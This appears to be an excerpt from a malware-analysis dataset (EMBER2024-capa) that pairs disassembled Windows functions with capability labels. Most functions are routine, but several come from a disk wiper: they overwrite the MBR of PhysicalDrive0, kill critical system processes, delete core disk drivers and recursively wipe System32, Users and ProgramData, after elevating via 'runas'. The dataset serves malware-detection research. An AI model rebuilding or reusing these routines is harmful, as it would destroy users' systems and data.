joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140040738
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400407bf
mov rsi, rbx
cmp word [rax], bp
je 0x14004077e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140040768
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140040764
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14003c434
mov rdi, rax
test rax, rax
je 0x1400407ac
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400483c0
mov rbp, rdi
xor ecx, ecx
call fcn.14003b4e8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400431e8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14003ad98
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140043289
cmp ebx, dword [rsp + 0x30]
je 0x140043282
test esi, esi
je 0x140043282
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14004325d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14004326a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140043247
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14004326e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14004328b
mov eax, 1
jmp 0x14004328b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140047f30
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140047f58
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140047f58
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1407f8058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1407f81df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407f8089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407f806f
add dl, dl
jne 0x1407f8096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407f80f6
xor eax, eax
add dl, dl
jne 0x1407f80a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407f81ad
add dl, dl
jne 0x1407f80b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407f80c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407f80d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407f80dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407f80ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407f807e
mov eax, 1
add dl, dl
jne 0x1407f8106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407f8113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407f80fb
sub eax, ebx
mov ebx, 1
jne 0x1407f814c
mov ecx, 1
add dl, dl
jne 0x1407f812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407f813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407f8123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407f807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407f8168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407f8175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407f815d
cmp eax, 0x7d00
jae 0x1407f819b
cmp eax, 0x500
jb 0x1407f8196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407f807e
cmp eax, 0x7f
ja 0x1407f819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407f807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407f81d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407f807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x141e0b6e0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x141e0b6ed
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x141e0b6fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x141e0b6e5
lea eax, [rcx + 1]
jmp 0x141e0b70b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x141e0b71e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x141e0b704
sub eax, 3
jb 0x141e0b73e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x141e0b78d
sar eax, 1
movsxd rbp, eax
jb 0x141e0b774
jmp 0x141e0b74c
add ebx, ebx
jne 0x141e0b74a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x141e0b774
inc ecx
add ebx, ebx
jne 0x141e0b75a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x141e0b774
call r11
adc ecx, ecx
add ebx, ebx
jne 0x141e0b76d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x141e0b75c
add ecx, 2
jmp 0x141e0b779
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.141e0b6a2
jmp 0x141e0b6ed
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x1dec000]
mov eax, dword [rdi]
or eax, eax
je 0x141e0b7ed
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1e0b4ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x141e0b79d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x141e0b7e7
mov qword [rbx], rax
add rbx, 8
jmp 0x141e0b7bd
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x141e0b831
cmp al, 0xef
ja 0x141e0b819
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x141e0b7f9
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x141e0b808
mov eax, dword [rdi]
add rdi, 4
jmp 0x141e0b808
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.141e0b8b0], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.141e0b8b0
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x141e0b8a0
sub rsp, 0xffffffffffffff80
jmp 0x1400013f0
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a960]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a970]
mov dword [rax], 1
mov rax, qword [0x14000a980]
mov dword [rax], 1
mov rax, qword [0x14000a900]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a950]
mov dword [0x14000d020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000aa30]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000aa10]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a8b0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x14000157a
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x80]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0xffffffffffffffff
je 0x1400016e1
movabs rax, 0x656973706f6f6857
movabs rdx, 0x736d656573202c73
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x616a20656b696c20
movabs rdx, 0x7369206365736179
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x72756f79206e6920
movabs rdx, 0x6828202e52424d20
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x6c6c6568203a756d
movabs rdx, 0x7974697275636573
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov qword [rbp + 0x10], 0x29
mov qword [rbp + 0x18], 0
lea rdx, [rbp + 0x20]
mov eax, 0
mov ecx, 0x36
mov rdi, rdx
rep stosq qword [rdi], rax
lea rcx, [rbp - 0x34]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x1d8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0
je 0x1400016b7
mov eax, dword [rbp - 0x34]
cmp eax, 0x200
je 0x1400016cc
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400016e2
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400016e2
nop
add rsp, 0x268
pop rdi
pop rbp
ret
Function at 0x1400016ec
Capabilities:
Execute command

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
lea rax, str.C:WindowsSystem32_services.exe
mov qword [rbp + 0x1a0], rax
lea rax, str.C:WindowsSystem32winlogon.exe
mov qword [rbp + 0x1a8], rax
lea rax, str.C:WindowsSystem32lsass.exe
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], 0
mov dword [rbp + 0x1cc], 0
jmp 0x14000177b
mov eax, dword [rbp + 0x1cc]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1a0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.taskkill__f__im__s
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
add dword [rbp + 0x1cc], 1
mov eax, dword [rbp + 0x1cc]
cdqe
mov rax, qword [rbp + rax*8 + 0x1a0]
test rax, rax
jne 0x14000173d
nop
nop
add rsp, 0x250
pop rbp
ret

Function at 0x14000179b
Capabilities:
Execute command
Self delete

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
lea rax, str.C:WindowsSystem32driversmountmgr.sys
mov qword [rbp + 0x1a0], rax
lea rax, str.C:WindowsSystem32driversdisk.sys
mov qword [rbp + 0x1a8], rax
lea rax, str.C:WindowsSystem32drivers_atapi.sys
mov qword [rbp + 0x1b0], rax
lea rax, str.C:WindowsSystem32driverspci.sys
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0x1c0], 0
mov dword [rbp + 0x1cc], 0
jmp 0x140001838
mov eax, dword [rbp + 0x1cc]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1a0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.del__f__q__s
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
add dword [rbp + 0x1cc], 1
mov eax, dword [rbp + 0x1cc]
cdqe
mov rax, qword [rbp + rax*8 + 0x1a0]
test rax, rax
jne 0x1400017fa
nop
nop
add rsp, 0x250
pop rbp
ret

Function at 0x140001858
Capabilities:
Execute command
Self delete

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
lea rax, str.C:WindowsSystem32
mov qword [rbp + 0x1a0], rax
lea rax, str.C:WindowsProgram_Files
mov qword [rbp + 0x1a8], rax
lea rax, str.C:WindowsSystem32drivers
mov qword [rbp + 0x1b0], rax
lea rax, str.C:Users
mov qword [rbp + 0x1b8], rax
lea rax, str.C:ProgramData
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 0
mov dword [rbp + 0x1dc], 0
jmp 0x14000193a
mov eax, dword [rbp + 0x1dc]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1a0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.del__f__q__s__s
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
mov eax, dword [rbp + 0x1dc]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1a0]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.rmdir__s__q__s
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
add dword [rbp + 0x1dc], 1
mov eax, dword [rbp + 0x1dc]
cdqe
mov rax, qword [rbp + rax*8 + 0x1a0]
test rax, rax
jne 0x1400018c5
nop
nop
add rsp, 0x260
pop rbp
ret
Function at 0x14000195e
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 4], 0
mov dword [rbp - 0x16], 0
mov word [rbp - 0x12], 0x500
lea rax, [rbp - 0x16]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
je 0x140001a04
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 4]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov eax, dword [rbp - 4]
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x140001a0d
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x80]
call sym.isAdmin
test eax, eax
jne 0x140001ab3
lea rax, [rbp + 0x10]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x60], 0x70
mov dword [rbp - 0x5c], 0
mov qword [rbp - 0x58], 0
lea rax, str.runas
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x10]
mov qword [rbp - 0x48], rax
lea rax, [0x14000a1cf]
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x30], 0
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
add rsp, 0x1a8
pop rdi
pop rbp
ret

Function at 0x140001b2e
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.overwriteMBRThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.destroyServicesThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x28], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.destroyDriversThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x20], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.destroySystemFilesThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x30]
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, rax
mov ecx, 4
mov rax, qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call rax
mov dword [rbp - 4], 0
jmp 0x140001c4e
mov eax, dword [rbp - 4]
cdqe
mov rax, qword [rbp + rax*8 - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 3
jle 0x140001c34
nop
nop
add rsp, 0x60
pop rbp
ret
Function at 0x1400028e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400028f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002900
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002910
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000295d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002954
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000295f
add rax, 0x28
cmp rax, r9
jne 0x140002940
xor eax, eax
ret

Function at 0x140002960
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400029f0
mov rdx, qword [0x14000a900]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400029de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400029de
cmp word [rax + 0x18], 0x20b
jne 0x1400029de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400029f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400029c9
add rbx, 0x28
cmp rbx, rdi
je 0x1400029f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400029c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002a00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a900]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002a20
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002a28
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a20
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a7d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002a74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002a20
add rax, 0x28
cmp rax, r9
jne 0x140002a60
xor eax, eax
ret

Function at 0x140002a80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a900]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002a9f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002aa8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002a9f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002ac0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a900]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002ae0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002ae8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002ae0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002b30
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002b27
test rcx, rcx
je 0x140002ae0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002b18
xor eax, eax
ret

Function at 0x140002b40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a900]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002b5f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002b68
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002b80
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a900]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002ba0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002ba8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002ba0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002ba0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002bf4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002c00
add rdx, 0x28
cmp r9, rdx
jne 0x140002be0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002c10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a900]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002c32
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002c40
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002c32
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002c32
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002c32
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002c95
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002ca8
add rdx, 0x28
cmp rdx, r10
jne 0x140002c80
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002cb7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002cc7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002c9e
test ecx, ecx
jg 0x140002cb0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140005680
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x1400056b7
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x1400056d8
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400056da
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140005733
test ecx, ecx
jle 0x140005713
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140005733
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140005733
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret